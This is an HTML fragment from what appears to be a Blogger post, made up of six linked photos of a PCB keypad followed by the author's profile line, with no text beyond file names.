<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghVwKfUOw7og8ClbRBEd37DbEYFH4pHcpGRmtSJZL4DohXvziF9_l2P5cjyy1nnKkOR_7GeISBJEbbh8AWQzOLWZ3sHAMVb3uoP3gLfqtrBC9mQF5cmjeXvBDh06f093a4JkwvbMXFDfNp/s1600/pcb+keypad+-+3" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghVwKfUOw7og8ClbRBEd37DbEYFH4pHcpGRmtSJZL4DohXvziF9_l2P5cjyy1nnKkOR_7GeISBJEbbh8AWQzOLWZ3sHAMVb3uoP3gLfqtrBC9mQF5cmjeXvBDh06f093a4JkwvbMXFDfNp/s320/pcb+keypad+-+3" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiZCtxizxbW_JkZ0R29X3v5pks9Vp0188mNADSNwzz62sL-gi8eril6mivdxBmiHqUL1bxzsotAcsDn8zlkJnidOgHiq7DDpaL_g6RSX15kmfN3RMQ1bCUwqpAyZduVutmNrzJSDQxfEvZ/s1600/pcb+keypad+-+2" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiZCtxizxbW_JkZ0R29X3v5pks9Vp0188mNADSNwzz62sL-gi8eril6mivdxBmiHqUL1bxzsotAcsDn8zlkJnidOgHiq7DDpaL_g6RSX15kmfN3RMQ1bCUwqpAyZduVutmNrzJSDQxfEvZ/s320/pcb+keypad+-+2" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBvlNuSzJQlxzjeZLyIUvrcuB0BOqmeULSXy7S7REHraeWQ-7Z1oAvDSaPBC8_n46s9GLcv4jJOB3Ro0jj64Mqhb6meZHNtELve3-xf6_iZBrXCPNjOXQgi_CoO_oBiLEczOo29NmPP-L1/s1600/DSC_0279.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBvlNuSzJQlxzjeZLyIUvrcuB0BOqmeULSXy7S7REHraeWQ-7Z1oAvDSaPBC8_n46s9GLcv4jJOB3Ro0jj64Mqhb6meZHNtELve3-xf6_iZBrXCPNjOXQgi_CoO_oBiLEczOo29NmPP-L1/s320/DSC_0279.JPG" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihyphenhyphena_6Py3zZo8rZnVOuMJ9fDa532Qy9-lZKWVg_ahnWOZ2NUaDlvcqFnGshne1xi-LHm_tMJEQDFflWG-2n5iM6nq5R99kekcxTL0P0glNF0yR_HzfdZajGmTaa-48Qd7QBJFSbqBu1a6e/s1600/DSC_0295.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihyphenhyphena_6Py3zZo8rZnVOuMJ9fDa532Qy9-lZKWVg_ahnWOZ2NUaDlvcqFnGshne1xi-LHm_tMJEQDFflWG-2n5iM6nq5R99kekcxTL0P0glNF0yR_HzfdZajGmTaa-48Qd7QBJFSbqBu1a6e/s320/DSC_0295.JPG" width="179" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj98Skt1UsZHdwIiwbkllzYNwcp1CCQEskmQLSLzOO9ag0qheA_rBoFIIUxz4k1dAD06bK1jeADbKOpgvS33jTU0rSpyAIgZ5IFjuoiSwGFeBKN8_6eNbEovqL6Lmz0da7PHp0PCg-BpzDa/s1600/DSC_0296.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj98Skt1UsZHdwIiwbkllzYNwcp1CCQEskmQLSLzOO9ag0qheA_rBoFIIUxz4k1dAD06bK1jeADbKOpgvS33jTU0rSpyAIgZ5IFjuoiSwGFeBKN8_6eNbEovqL6Lmz0da7PHp0PCg-BpzDa/s320/DSC_0296.JPG" width="179" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihyOuaK0_h3jH385CHZ4wZyyqtPdXl8sauWHOkbLOUQTSnYj_lbYrvM5Ce87uVnzUHhrJbBS5tlckzgTEPSIZhNepMN2gHWkZwu8c4tXxYJaoAy-dV_2Tav5u_1-vwy1jKXKGCC_QRcF4w/s1600/pcb+keypad+-+1" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihyOuaK0_h3jH385CHZ4wZyyqtPdXl8sauWHOkbLOUQTSnYj_lbYrvM5Ce87uVnzUHhrJbBS5tlckzgTEPSIZhNepMN2gHWkZwu8c4tXxYJaoAy-dV_2Tav5u_1-vwy1jKXKGCC_QRcF4w/s320/pcb+keypad+-+1" width="320" /></a></div>
FrankSxhttp://www.blogger.com/profile/15984311191300123615noreply@blogger.com0